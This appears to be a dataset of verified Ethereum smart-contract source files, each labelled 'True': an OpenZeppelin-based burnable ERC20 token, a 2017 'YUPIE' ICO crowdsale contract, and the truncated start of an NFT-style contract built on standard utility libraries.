^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol pragma solidity ^0.8.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), currentAllowance - amount); _burn(account, amount); } } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol pragma solidity ^0.8.0; /** * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. */ abstract contract ERC20Decimals is ERC20 { uint8 private immutable _decimals; /** * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. */ constructor(uint8 decimals_) { _decimals = decimals_; } function decimals() public view virtual override returns (uint8) { return _decimals; } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor(address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/token/ERC20/BurnableERC20.sol pragma solidity ^0.8.0; /** * @title BurnableERC20 * @dev Implementation of the BurnableERC20 */ contract BurnableERC20 is ERC20Decimals, ERC20Burnable, ServicePayer { constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 initialBalance_, address payable feeReceiver_ ) payable ERC20(name_, symbol_) ERC20Decimals(decimals_) ServicePayer(feeReceiver_, "BurnableERC20") { require(initialBalance_ > 0, "BurnableERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } function decimals() public view virtual override(ERC20, ERC20Decimals) returns (uint8) { return super.decimals(); } }

True

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pragma solidity ^0.4.11; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract YupieToken is StandardToken { using SafeMath for uint256; // EVENTS event CreatedYUPIE(address indexed _creator, uint256 _amountOfYUPIE); // TOKEN DATA string public constant name = "YUPIE"; string public constant symbol = "YUP"; uint256 public constant decimals = 18; string public version = "1.0"; // YUPIE TOKEN PURCHASE LIMITS uint256 public maxPresaleSupply; // MAX TOTAL DURING PRESALE (0.8% of MAXTOTALSUPPLY) // PURCHASE DATES uint256 public constant preSaleStartTime = 1502784000; // GMT: Tuesday, August 15, 2017 8:00:00 AM uint256 public constant preSaleEndTime = 1505671200; // GMT: Sunday, September 17, 2017 6:00:00 PM uint256 public saleStartTime = 1509523200; // GMT: Wednesday, November 1, 2017 8:00:00 AM uint256 public saleEndTime = 1512115200; // GMT: Friday, December 1, 2017 8:00:00 AM // PURCHASE BONUSES uint256 public lowEtherBonusLimit = 5 * 1 ether; // 5+ Ether uint256 public lowEtherBonusValue = 110; // 10% Discount uint256 public midEtherBonusLimit = 24 * 1 ether; // 24+ Ether uint256 public midEtherBonusValue = 115; // 15% Discount uint256 public highEtherBonusLimit = 50 * 1 ether; // 50+ Ether uint256 public highEtherBonusValue = 120; // 20% Discount uint256 public highTimeBonusLimit = 0; // 1-12 Days uint256 public highTimeBonusValue = 120; // 20% Discount uint256 public midTimeBonusLimit = 1036800; // 12-24 Days uint256 public midTimeBonusValue = 115; // 15% Discount uint256 public lowTimeBonusLimit = 2073600; // 24+ Days uint256 public lowTimeBonusValue = 110; // 10% Discount // PRICING INFO uint256 public constant YUPIE_PER_ETH_PRE_SALE = 3000; // 3000 YUPIE = 1 ETH uint256 public constant YUPIE_PER_ETH_SALE = 1000; // 1000 YUPIE = 1 ETH // ADDRESSES address public constant ownerAddress = 0x20C84e76C691e38E81EaE5BA60F655b8C388718D; // The owners address // STATE INFO bool public allowInvestment = true; // Flag to change if transfering is allowed uint256 public totalWEIInvested = 0; // Total WEI invested uint256 public totalYUPIESAllocated = 0; // Total YUPIES allocated mapping (address => uint256) public WEIContributed; // Total WEI Per Account // INITIALIZATIONS FUNCTION function YupieToken() { require(msg.sender == ownerAddress); totalSupply = 631*1000000*1000000000000000000; // MAX TOTAL YUPIES 631 million uint256 totalYUPIESReserved = totalSupply.mul(55).div(100); // 55% reserved for Crowdholding maxPresaleSupply = totalSupply*8/1000 + totalYUPIESReserved; // MAX TOTAL DURING PRESALE (0.8% of MAXTOTALSUPPLY) balances[msg.sender] = totalYUPIESReserved; totalYUPIESAllocated = totalYUPIESReserved; } // FALL BACK FUNCTION TO ALLOW ETHER DONATIONS function() payable { require(allowInvestment); // Smallest investment is 0.00001 ether uint256 amountOfWei = msg.value; require(amountOfWei >= 10000000000000); uint256 amountOfYUPIE = 0; uint256 absLowTimeBonusLimit = 0; uint256 absMidTimeBonusLimit = 0; uint256 absHighTimeBonusLimit = 0; uint256 totalYUPIEAvailable = 0; // Investment periods if (block.timestamp > preSaleStartTime && block.timestamp < preSaleEndTime) { // Pre-sale ICO amountOfYUPIE = amountOfWei.mul(YUPIE_PER_ETH_PRE_SALE); absLowTimeBonusLimit = preSaleStartTime + lowTimeBonusLimit; absMidTimeBonusLimit = preSaleStartTime + midTimeBonusLimit; absHighTimeBonusLimit = preSaleStartTime + highTimeBonusLimit; totalYUPIEAvailable = maxPresaleSupply - totalYUPIESAllocated; } else if (block.timestamp > saleStartTime && block.timestamp < saleEndTime) { // ICO amountOfYUPIE = amountOfWei.mul(YUPIE_PER_ETH_SALE); absLowTimeBonusLimit = saleStartTime + lowTimeBonusLimit; absMidTimeBonusLimit = saleStartTime + midTimeBonusLimit; absHighTimeBonusLimit = saleStartTime + highTimeBonusLimit; totalYUPIEAvailable = totalSupply - totalYUPIESAllocated; } else { // Invalid investment period revert(); } // Check that YUPIES calculated greater than zero assert(amountOfYUPIE > 0); // Apply Bonuses if (amountOfWei >= highEtherBonusLimit) { amountOfYUPIE = amountOfYUPIE.mul(highEtherBonusValue).div(100); } else if (amountOfWei >= midEtherBonusLimit) { amountOfYUPIE = amountOfYUPIE.mul(midEtherBonusValue).div(100); } else if (amountOfWei >= lowEtherBonusLimit) { amountOfYUPIE = amountOfYUPIE.mul(lowEtherBonusValue).div(100); } if (block.timestamp >= absLowTimeBonusLimit) { amountOfYUPIE = amountOfYUPIE.mul(lowTimeBonusValue).div(100); } else if (block.timestamp >= absMidTimeBonusLimit) { amountOfYUPIE = amountOfYUPIE.mul(midTimeBonusValue).div(100); } else if (block.timestamp >= absHighTimeBonusLimit) { amountOfYUPIE = amountOfYUPIE.mul(highTimeBonusValue).div(100); } // Max sure it doesn't exceed remaining supply assert(amountOfYUPIE <= totalYUPIEAvailable); // Update total YUPIE balance totalYUPIESAllocated = totalYUPIESAllocated + amountOfYUPIE; // Update user YUPIE balance uint256 balanceSafe = balances[msg.sender].add(amountOfYUPIE); balances[msg.sender] = balanceSafe; // Update total WEI Invested totalWEIInvested = totalWEIInvested.add(amountOfWei); // Update total WEI Invested by account uint256 contributedSafe = WEIContributed[msg.sender].add(amountOfWei); WEIContributed[msg.sender] = contributedSafe; // CHECK VALUES assert(totalYUPIESAllocated <= totalSupply); assert(totalYUPIESAllocated > 0); assert(balanceSafe > 0); assert(totalWEIInvested > 0); assert(contributedSafe > 0); // CREATE EVENT FOR SENDER CreatedYUPIE(msg.sender, amountOfYUPIE); } // CHANGE PARAMETERS METHODS function transferEther(address addressToSendTo, uint256 value) { require(msg.sender == ownerAddress); addressToSendTo.transfer(value); } function changeAllowInvestment(bool _allowInvestment) { require(msg.sender == ownerAddress); allowInvestment = _allowInvestment; } function changeSaleTimes(uint256 _saleStartTime, uint256 _saleEndTime) { require(msg.sender == ownerAddress); saleStartTime = _saleStartTime; saleEndTime = _saleEndTime; } function changeEtherBonuses(uint256 _lowEtherBonusLimit, uint256 _lowEtherBonusValue, uint256 _midEtherBonusLimit, uint256 _midEtherBonusValue, uint256 _highEtherBonusLimit, uint256 _highEtherBonusValue) { require(msg.sender == ownerAddress); lowEtherBonusLimit = _lowEtherBonusLimit; lowEtherBonusValue = _lowEtherBonusValue; midEtherBonusLimit = _midEtherBonusLimit; midEtherBonusValue = _midEtherBonusValue; highEtherBonusLimit = _highEtherBonusLimit; highEtherBonusValue = _highEtherBonusValue; } function changeTimeBonuses(uint256 _highTimeBonusLimit, uint256 _highTimeBonusValue, uint256 _midTimeBonusLimit, uint256 _midTimeBonusValue, uint256 _lowTimeBonusLimit, uint256 _lowTimeBonusValue) { require(msg.sender == ownerAddress); highTimeBonusLimit = _highTimeBonusLimit; highTimeBonusValue = _highTimeBonusValue; midTimeBonusLimit = _midTimeBonusLimit; midTimeBonusValue = _midTimeBonusValue; lowTimeBonusLimit = _lowTimeBonusLimit; lowTimeBonusValue = _lowTimeBonusValue; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-09-18 */ // .----------------. .----------------. .----------------. .----------------. .-----------------. // | .--------------. || .--------------. || .--------------. || .--------------. || .--------------. | // | | _________ | || | ____ | || | ___ ____ | || | _________ | || | ____ _____ | | // | | | _ _ | | || | .' `. | || | |_ ||_ _| | || | |_ ___ | | || ||_ \|_ _| | | // | | |_/ | | \_| | || | / .--. \ | || | | |_/ / | || | | |_ \_| | || | | \ | | | | // | | | | | || | | | | | | || | | __'. | || | | _| _ | || | | |\ \| | | | // | | _| |_ | || | \ `--' / | || | _| | \ \_ | || | _| |___/ | | || | _| |_\ |_ | | // | | |_____| | || | `.____.' | || | |____||____| | || | |_________| | || ||_____|\____| | | // | | | || | | || | | || | | || | | | // | '--------------' || '--------------' || '--------------' || '--------------' || '--------------' | // '----------------' '----------------' '----------------' '----------------' '----------------' // .----------------. .----------------. .----------------. // | .--------------. || .--------------. || .--------------. | // | | ____ ____ | || | ______ | || | __ | | // | ||_ \ / _|| || | |_ _ \ | || | / \ | | // | | | \/ | | || | | |_) | | || | / /\ \ | | // | | | |\ /| | | || | | __'. | || | / ____ \ | | // | | _| |_\/_| |_ | || | _| |__) | | || | _/ / \ \_ | | // | ||_____||_____|| || | |_______/ | || ||____| |____|| | // | | | || | | || | | | // | '--------------' || '--------------' || '--------------' | // '----------------' '----------------' '----------------' // .----------------. .----------------. // | .--------------. || .--------------. | // | | ____ ____ | || | __ | | // | ||_ _| |_ _| | || | / | | | // | | \ \ / / | || | `| | | | // | | \ \ / / | || | | | | | // | | \ ' / | || | _| |_ | | // | | \_/ | || | |_____| | | // | | | || | | | // | '--------------' || '--------------' | // '----------------' '----------------' // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit 